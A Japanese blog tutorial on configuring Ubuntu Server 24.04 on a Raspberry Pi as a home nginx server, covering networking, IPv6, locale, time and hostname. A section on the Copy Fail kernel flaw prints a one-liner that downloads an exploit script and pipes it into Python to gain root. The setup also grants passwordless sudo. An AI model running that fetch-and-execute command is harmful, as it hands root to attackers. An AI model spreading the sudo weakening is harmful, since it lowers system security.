HOME | 2026-10-09 (Fri) Today's Access : 184 Total : 1397064. Since 10 Sep. 2019

ラズパイで作る自宅WEBサーバ:nginx編
第1回 Ubuntu Server 設定
2026.09.14

●Ubuntu Server 24.04.4 LTS
2024年4月25日、Ubuntu24.04 LTSがリリースされました。 標準サポート期間は、リリースから5年間の2029年4月までです。


ネットワークケーブルを繋いで、有線接続できるようにしておきます。 microSDカードを Raspberry Pi 3 model B+ に差し込んで起動します。
初期状態でSSHが利用可能になっているので、TeraTermなどでSSH接続して作業を行っても構いません。

●Ubuntuバージョンの確認
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.4 LTS
Release:        24.04
Codename:       noble
●sudoでのパスワード要求の無効化

$ sudo vi /etc/sudoers
# See sudoers(5) for more information on "@include" directives:
ubuntu ALL=(ALL:ALL) NOPASSWD: ALL

@includedir /etc/sudoers.d

:wq! で強制的に保存して終了します。

●Ethernet(有線LAN)用MACアドレス確認

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.10/24 metric 600 brd 192.168.11.255 scope global dynamic wlan0
       valid_lft 171777sec preferred_lft 171777sec
    inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
       valid_lft forever preferred_lft forever
オレンジ色のMACアドレスを控えておきます。

●ネットワーク設定

初期状態のネットワーク設定をみると無線LANの設定のみです。
$ sudo cat /etc/netplan/50-cloud-init.yaml
network:
  version: 2
  wifis:
    wlan0:
      optional: true
      dhcp4: true
      regulatory-domain: "JP"
      access-points:
        "XXXXXXXXXXXX":
          auth:
            key-management: "psk"
            password: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

Ubuntu Desktopでは renderer にNetwork-Managerを使用し、UbuntuServerやRaspberryPi用のUbuntu24.04 Serverでは netplanで設定します。 デフォルト値を変更したい場合は、renderer を明記します。

無線接続設定を削除して、有線接続に書き換えます。
ここでは、WEBサーバ(ラズベリーパイ)のローカルIPアドレスを、192.168.11.28 としています。
network:
  version: 2
  ethernets:
    eth0:
      optional: true
      dhcp4: false
      dhcp6: false
      match:
          macaddress: xx:xx:xx:xx:xx:xx
      set-name: eth0
      addresses: [192.168.11.28/24]
      nameservers:
          addresses: [192.168.11.28,192.168.11.1]
      routes:
        - to: default
          via: 192.168.11.1
※yamlファイルは、TABでなくSPACE(基本は空白2文字)でインデントする必要があります。

macaddress の箇所に先程控えて置いたアドレスを記載します。

ネームサーバの部分には、WEBサーバのIPアドレス、ブロードバンドルータのIPアドレスの順に設定しています。 本番運用の際には、ネームサーバの指定にWEBサーバのIPアドレスは不要ですが、LAN内でドメイン名を使用してWEBサイトへのアクセスをテストする際に必要になります。
本番稼働時においてもこの設定を残しておくと、LAN内のパソコンからWAN側に出ずにアクセスできるので便利です。 詳しくは、DNS設定のところで解説します。

※無線接続を残したままにしておくと、DNSの優先順位をうまく設定できないことがあります。

※ローカルネットワーク側にラズパイを配置して、ポートマッピング機能により、グローバルIPアドレスへのリクエストをローカルIPアドレスに振り分けているので、この記載にグローバルIPアドレスは現れません。

設定の反映
$ sudo netplan apply

SSH接続している場合は接続が切れるので、再接続します

ipアドレスの確認
$ ip a (あるいは $ ifconfig )
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
       valid_lft forever preferred_lft forever
3: wlan0:  mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff

●IPv6の無効化

IPv6は使用しないので、無効化します。
$ sudo vi /etc/sysctl.d/70-disable-ipv6.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
設定を反映します
$ sudo sysctl --system

これだけでは再起動した際に反映されないことがあるので、起動後にsysctl設定を再適用するスタートアップスクリプトを作成します。
$ sudo vi /etc/rc.local
#!/bin/bash
# /etc/rc.local

# Load kernel variables from /etc/sysctl.d
sysctl --system
exit 0

実行権限を付与します
$ sudo chmod 755 /etc/rc.local

サーバーを再起動します。
$ sudo reboot

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: wlan0:  mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
IPv6アドレスが表示されなくなります。

●ネットワーク接続確認 ping

$ ping youtube.com
PING youtube.com (142.251.24.190) 56(84) bytes of data.
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=1 ttl=113 time=66.8 ms
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=2 ttl=113 time=69.3 ms

●ロケール確認・設定
対応しているロケール一覧を表示します
$ locale -a
C
C.UTF-8
POSIX

日本語ロケールがサポートされてるかを確認します
$ grep ja /usr/share/i18n/SUPPORTED
ja_JP.UTF-8 UTF-8
ja_JP.EUC-JP EUC-JP

ロケールを追加します
$ sudo locale-gen ja_JP.UTF-8
Generating locales (this might take a while)...
 ja_JP.UTF-8... done
Generation complete.

ロケール追加を確認します
$ locale -a
C
C.UTF-8
POSIX
ja_JP.utf8

設定を反映させます
$ sudo localectl set-locale LANG=ja_JP.UTF-8 LANGUAGE="ja_JP:ja"

確認します
$ cat /etc/default/locale
LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja

$ localectl status
System Locale: LANG=ja_JP.UTF-8
               LANGUAGE=ja_JP:ja
    VC Keymap: (unset)
   X11 Layout: us
    X11 Model: pc105

●時刻合わせ
タイムサーバを追加します
$ sudo vi /etc/systemd/timesyncd.conf
NTP=ntp.nict.jp
FallbackNTP=ntp.ubuntu.com

※FallbackNTPに複数サーバを指定する場合はスペース区切りで続けて記述します

$ timedatectl set-ntp true
==== AUTHENTICATING FOR org.freedesktop.timedate1.set-ntp ===
Authentication is required to control whether network time synchronization shall be enabled.
Authenticating as: Ubuntu (ubuntu)
Password:********
==== AUTHENTICATION COMPLETE ===

$ sudo systemctl enable systemd-timesyncd.service

●タイムゾーンの確認
Raspberry Pi Imagerで起動ディスク(microSD)作成時にタイムゾーンを設定しているので確認のみです。
$ timedatectl
               Local time: Thu 2026-07-30 15:07:53 JST
           Universal time: Thu 2026-07-30 06:07:53 UTC
                 RTC time: n/a
                Time zone: Asia/Tokyo (JST, +0900)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
手動で変更する場合
$ sudo timedatectl set-timezone Asia/Tokyo
$ sudo systemctl restart systemd-timesyncd.service

●ホスト名の設定
現在のホスト名を確認します。
$ hostname
Rasp3Bplus

ドメイン名を example.com とした場合の設定は下記のようになります。
$ sudo hostnamectl set-hostname ns.example.com
$ hostnamectl
 Static hostname: ns.example.com
       Icon name: computer
      Machine ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
         Boot ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Operating System: Ubuntu 24.04.4 LTS
          Kernel: Linux 6.8.0-1047-raspi
    Architecture: arm64
※ホスト名先頭の ns は Name Server の意味で、DNSサーバ設定に合わせた一般的な表記のようです

Ubuntu 24.04でホスト名が初期状態に戻る原因は、OS初期化ツール(cloud-init)が再起動時に設定を上書きするためです。 hostnamectlコマンドだけでなく、cloud-initの設定変更をあわせて行う必要があります。
$ sudo vi /etc/cloud/cloud.cfg
preserve_hostname: true

●パッケージの更新
ここまで完了したら一旦、インストール可能なパッケージ一覧を更新して、インストールされているパッケージを更新します。
$ sudo apt-get update
$ sudo apt-get upgrade

最後にこの状態でのSDカードとメモリの使用状況をみてみます
$ df
Filesystem     1K-blocks    Used Available Use% Mounted on
tmpfs             798960    3272    795688   1% /run
/dev/mmcblk0p2  29179236 3232008  24707456  12% /
tmpfs            3994780       0   3994780   0% /dev/shm
tmpfs               5120       0      5120   0% /run/lock
/dev/mmcblk0p1    516204  191350    324854  38% /boot/firmware
tmpfs             798956      12    798944   1% /run/user/1000

$ free -t

               total        used        free      shared  buff/cache   available
Mem:         7989564      517868     4544136        3288     3244924     7471696
Swap:              0           0           0
Total:       7989564      517868     4544136
また、Ubuntu 24.04ではスワップ領域をスワップファイル /swap.img に確保するため、スワップパーティションを作成する必要がないようです。

●Copy Fail(CVE-2026-31431)
Copy Fail(CVE-2026-31431)は、2017年以降のほぼすべての主要なLinuxディストリビューションに影響を与える、 ローカル特権昇格(LPE)の脆弱性です。
対象:4.14以降のLinuxカーネル(2017年〜2026年の約9年間)
影響:一般ユーザーが管理者(root)権限を取得可能
仕組:カーネルの暗号API(AF_ALG)と splice() システムコールの処理におけるロジックの欠陥に起因します。 ページキャッシュへの参照が不適切に連鎖し、攻撃者が制御する4バイトのデータをメモリ上のsetuidバイナリ(/usr/bin/su など)のページキャッシュに直接書き込めます。 ディスク上のファイルは変更されず、メモリ上のキャッシュのみが書き換わるため、再起動で痕跡が消えるステルス性の高い攻撃です。

手口:732バイトのPythonスクリプトの実行
$ curl https://copy.fail/exp | python3 && su
これにより、キャッシュ上の uid=0(root)に変更されます。

Copy Failはあくまで「ローカル特権昇格」の脆弱性なので、第一段階として、すでにサーバの内部に犯人(または犯人が送り込んだプログラム)が侵入していることが絶対条件になります。

そもそも、Raspberry Pi用Ubuntu 24.04では、algif_aeadモジュールは無効化されているので、脆弱性による影響(攻撃経路)はありません。 念のため、確認しておきます。
$ lsmod | grep algif_aead
algif_aead が表示されない場合: 現在モジュールがロードされていない、または無効化されているため、この脆弱性を直接突かれるリスクは低いです。

●補足:needrestart
needrestartは、UbuntuなどのLinuxでパッケージ更新後に再起動が必要なサービスやデーモンを検知し、通知・自動再起動を行うツールです。

インストールやアップグレードを行うと下記のようなエラーが出ることがあります。
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
これはインストールが失敗しているわけではなく、それぞれ確認できないことにメッセージが出ています。 このメッセージを表示させない方法として下記のコマンドを実行します。
$ sudo apt purge needrestart

Raspberry Piはイギリスのラズベリーパイ財団により開発されたシングルボードコンピュータです。
2026.08.27 番外編 DNSトランスファー
2026.09.06 第0回 nginx を始めよう
2026.09.14 第1回 Ubuntu Server 設定
2026.09.24 第2回 DNS設定
2026.10.08 第3回 Nginxインストール

KEYESTUDIO Micro:bit V2ロボットスターターキット (マイクロビットなし) MakecodeとPython用
動き、光と音の使い方、障害物の検知と回避方法、線をたどり、IRリモコンとアプリでコントロールする方法を学びます。

Maqueen Lite V5 micro:bit ロボットキット STEM用(ライントレース&障害物回避)
Maqueen Lite V5 STEMロボットは、事前調整済みのライントレースアルゴリズム、耐衝撃モーター、開封即使用可能な設計で、ストレスを解消します。

たいていのことは100日あれば、うまくいく。長田英知著
「時間がなくて、なかなか自分のやりたいことができない」 「一念発起して何かを始めても、いつも三日坊主で終わってしまう」 「色んなことを先延ばしにしたまま、時間だけが過ぎていく」 そこで本書では、そんな著者が独自に開発した、 まったく新しい目標達成メソッド「100日デザイン」について、 その知識と技術を、余すところなくご紹介します。

まんがで納得ナポレオン・ヒル 思考は現実化する
OLとして雑務をこなす日々に飽き足らず、科学者だった父が残した薬品を商品化すべく、起業を決意した内山麻由(27)。彼女はセミナーで知り合った謎の女性からサポートを得ながら、彼女と二人三脚でナポレオン・ヒルの成功哲学を実践し、さまざまな問題を乗り越えていく。 ヒル博士の<ゴールデンルール>に従い、仕事に、恋に全力疾走する彼女の、成功への物語。

今日は人生最悪で最高の日 1秒で世界を変えるたったひとつの方法 ひすいこたろう著
偉人の伝記を読むと、最悪な日は、不幸な日ではなく、新しい自分が始まる日であることがわかります。最悪な出来事は、自分の人生が、想像を超えて面白くなる兆しなのです。偉人伝を読むことで、このときの不幸があったおかげで、未来にこういう幸せがくるのかと、人生を俯瞰する視線が立ち上がるのです。

ご飯は私を裏切らない heisoku著
辛い現実から目を背けて食べるご飯は、いつも美味しく幸せを届けてくれる。 29歳、中卒、恋人いない歴イコール年齢。バイト以外の職歴もなく、短期バイトを転々とする日々。ぐるぐると思索に耽るけど、ご飯を食べると幸せになれる。奇才の新鋭・heisokuが贈るリアル労働グルメ物語!

【最新版Gemini 3に対応!】できるGemini (できるシリーズ)
Geminiを「最強の知的生産パートナー」として使いこなすための、実践的なノウハウを凝縮した一冊です。 基本的な操作方法から、具体的なビジネスシーンでの活用、日々の業務を自動化するGoogle Workspaceとの連携、さらには自分だけのオリジナルAIを作成する方法まで余すところなく解説します。

Rustプログラミング完全ガイド 他言語との比較で違いが分かる!
Rustの各手法や考え方を幅広く解説! 500以上のサンプルを掲載。実行結果も確認。 全24章の包括的なチュートリアル。

ポチらせる文章術
販売サイト・ネット広告・メルマガ・ブログ・ホームページ・SNS… 全WEB媒体で効果バツグン! カリスマコピーライターが教える「見てもらう」「買ってもらう」「共感してもらう」すべてに効くネット文章術

小型で便利な Type-C アダプター USB C オス - USB3.1 オスアダプター
Type-C端子のマイコンボードをこのアダプタを介して直接Raspberry Piに挿すことができます。ケーブルなしで便利なツールです。

Divoom Ditoo Pro ワイヤレススピーカー
15W高音質重低音/青軸キーボード/Bluetooth5.3/ピクセルアート 専用アプリ/USB接続/microSDカード

電源供給USBケーブル スリム 【5本セット】
USB電源ケーブル 5V DC電源供給ケーブル スリム 【5本セット】 電源供給 バッテリー 修理 自作 DIY 電子工作 (100cm)

Copyright © 2011-2027 Sarako Tsukiyono All rights reserved®.